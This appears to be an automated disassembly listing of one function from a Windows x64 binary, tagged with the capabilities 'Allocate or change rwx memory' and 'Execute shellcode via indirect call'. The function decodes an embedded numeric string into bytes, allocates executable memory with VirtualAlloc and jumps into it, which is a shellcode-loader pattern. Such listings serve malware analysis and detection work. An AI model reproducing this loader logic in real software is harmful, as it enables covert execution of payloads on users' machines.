Function at 0x140002730
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2a40]
mov eax, 0x2b40
call fcn.1400041c0
sub rsp, rax
mov rax, qword [0x140001080]
xor rax, rsp
mov qword [rbp + 0x2a30], rax
xor r14d, r14d
mov r12d, r14d
mov dword [rsp + 0x34], r14d
lea rcx, [rsp + 0x60]
lea rdx, [0x1400012b0]
mov r8d, 0xab6
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
movups xmmword [rbp + 0xa70], xmm0
mov qword [rbp + 0xa80], r14
mov qword [rbp + 0xa88], r14
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r12b
jne 0x1400027b4
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xa70]
call fcn.1400030d0
nop
mov r9d, 0xa
xor r8d, r8d
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0xa70]
call fcn.140002d20
nop
mov r9, qword [rbp + 0xa80]
mov r8d, 0xa
lea rdx, [rbp + 0xa90]
lea rcx, [rbp + 0xa70]
call fcn.140002d20
nop
lea rcx, [rbp + 0xa90]
mov rdi, qword [rbp + 0xa90]
cmp qword [rbp + 0xaa8], 0xf
cmova rcx, rdi
mov qword [rsp + 0x58], rcx
xor edx, edx
mov esi, edx
mov dword [rsp + 0x38], edx
mov r13, qword [rbp + 0xaa0]
test r13, r13
je 0x140002bd4
lea r15, [rbp + 0xaf0]
mov qword [rsp + 0x48], r15
movsxd rbx, esi
add rbx, rcx
movsx r14d, byte [rbx]
sub r14d, 0x30
mov dword [rsp + 0x3c], r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0xa30], xmm0
mov qword [rbp + 0xa40], rdx
mov qword [rbp + 0xa48], rdx
xor r8d, r8d
lea rdx, [0x140001270]
lea rcx, [rbp + 0xa30]
call fcn.1400030d0
nop
test r14d, r14d
jle 0x140002ae9
xor r15d, r15d
mov qword [rsp + 0x40], r15
lea rax, [rbx + 1]
mov qword [rsp + 0x50], rax
nop dword [rax]
movsx edx, byte [rax + r15]
sub edx, 0x30
lea rcx, [rbp + 0xad0]
call fcn.140002ef0
or r12d, 1
mov dword [rsp + 0x34], r12d
lea rsi, [rbp + 0xad0]
cmp qword [rbp + 0xae8], 0xf
seta byte [rsp + 0x30]
mov r13, qword [rbp + 0xad0]
cmova rsi, r13
lea r12, [rbp + 0xa50]
cmp qword [rbp + 0xa68], 0xf
cmova r12, qword [rbp + 0xa50]
mov rdi, qword [rbp + 0xae0]
mov rax, qword [rbp + 0xa60]
cmp rdi, rax
ja 0x140002988
sub rax, rdi
test rdi, rdi
jne 0x140002922
xor ebx, ebx
jmp 0x14000298f
lea r14, [rax + r12]
movsx r15d, byte [rsi]
lea r8, [r14 + 1]
sub r8, r12
mov edx, r15d
mov rcx, r12
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140002983
nop dword [rax]
nop dword [rax + rax]
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140002a19
inc rbx
lea r8, [r14 + 1]
sub r8, rbx
mov edx, r15d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140002950
mov r15, qword [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov edx, ebx
lea rcx, [rbp + 0xab0]
call fcn.140002ef0
mov r12d, dword [rsp + 0x34]
or r12d, 2
lea r9, [rbp + 0xab0]
mov rdi, qword [rbp + 0xab0]
mov rsi, qword [rbp + 0xac8]
cmp rsi, 0xf
cmova r9, rdi
mov rcx, qword [rbp + 0xa40]
mov rdx, qword [rbp + 0xa48]
mov rax, rdx
sub rax, rcx
mov r14, qword [rbp + 0xac0]
cmp r14, rax
ja 0x140002a26
lea rax, [r14 + rcx]
mov qword [rbp + 0xa40], rax
lea rbx, [rbp + 0xa30]
cmp rdx, 0xf
cmova rbx, qword [rbp + 0xa30]
add rbx, rcx
mov r8, r14
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [r14 + rbx], 0
jmp 0x140002a48
sub rbx, r12
mov r15, qword [rsp + 0x40]
jmp 0x14000298f
mov qword [rsp + 0x20], r14
mov rdx, r14
lea rcx, [rbp + 0xa30]
call fcn.1400031d0
mov rsi, qword [rbp + 0xac8]
mov rdi, qword [rbp + 0xab0]
cmp rsi, 0xf
jbe 0x140002a80
lea rdx, [rsi + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140002a77
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b9a
mov rcx, rdi
call fcn.1400033cc
nop
cmp byte [rsp + 0x30], 0
je 0x140002abe
mov rdx, qword [rbp + 0xae8]
inc rdx
mov rax, r13
cmp rdx, 0x1000
jb 0x140002ab6
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ba1
mov rcx, r13
call fcn.1400033cc
inc r15
mov qword [rsp + 0x40], r15
movsxd r14, dword [rsp + 0x3c]
cmp r15, r14
mov rax, qword [rsp + 0x50]
jl 0x1400028b0
mov esi, dword [rsp + 0x38]
mov r15, qword [rsp + 0x48]
mov r13, qword [rbp + 0xaa0]
add esi, r14d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov rdi, rax
lea rbx, [rbp + 0xa30]
cmp qword [rbp + 0xa48], 0xf
cmova rbx, qword [rbp + 0xa30]
xor r14d, r14d
mov dword [rax], r14d
lea r8d, [r14 + 0xa]
lea rdx, [rbp + 0xa20]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
cmp rbx, qword [rbp + 0xa20]
je 0x140002bbd
cmp dword [rdi], 0x22
je 0x140002baf
mov byte [r15], al
inc r15
mov qword [rsp + 0x48], r15
mov rdx, qword [rbp + 0xa48]
cmp rdx, 0xf
jbe 0x140002b80
inc rdx
mov rcx, qword [rbp + 0xa30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002ba8
call fcn.1400033cc
inc esi
mov dword [rsp + 0x38], esi
movsxd rax, esi
cmp rax, r13
jae 0x140002bcb
mov rcx, qword [rsp + 0x58]
xor edx, edx
jmp 0x140002850
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [0x140001290]
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
lea rcx, [0x140001278]
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xinvalid_argument_char_const____ptr64_]
nop
mov rdi, qword [rbp + 0xa90]
jmp 0x140002bd7
xor r14d, r14d
mov edx, 0x1f40
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov r8d, 0x1f40
lea rdx, [rbp + 0xaf0]
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
call rbx
nop
mov rax, qword [rbp + 0xaa8]
cmp rax, 0xf
jbe 0x140002c4c
lea rdx, [rax + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140002c43
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c43
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.1400033cc
nop
mov rdx, qword [rbp + 0xa68]
cmp rdx, 0xf
jbe 0x140002c90
inc rdx
mov rcx, qword [rbp + 0xa50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c8b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400033cc
mov qword [rbp + 0xa60], r14
mov qword [rbp + 0xa68], 0xf
mov byte [rbp + 0xa50], 0
mov rdx, qword [rbp + 0xa88]
cmp rdx, 0xf
jbe 0x140002ced
inc rdx
mov rcx, qword [rbp + 0xa70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ce8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ce8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400033cc
xor eax, eax
mov rcx, qword [rbp + 0x2a30]
xor rcx, rsp
call fcn.140003370
lea r11, [rsp + 0x2b40]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret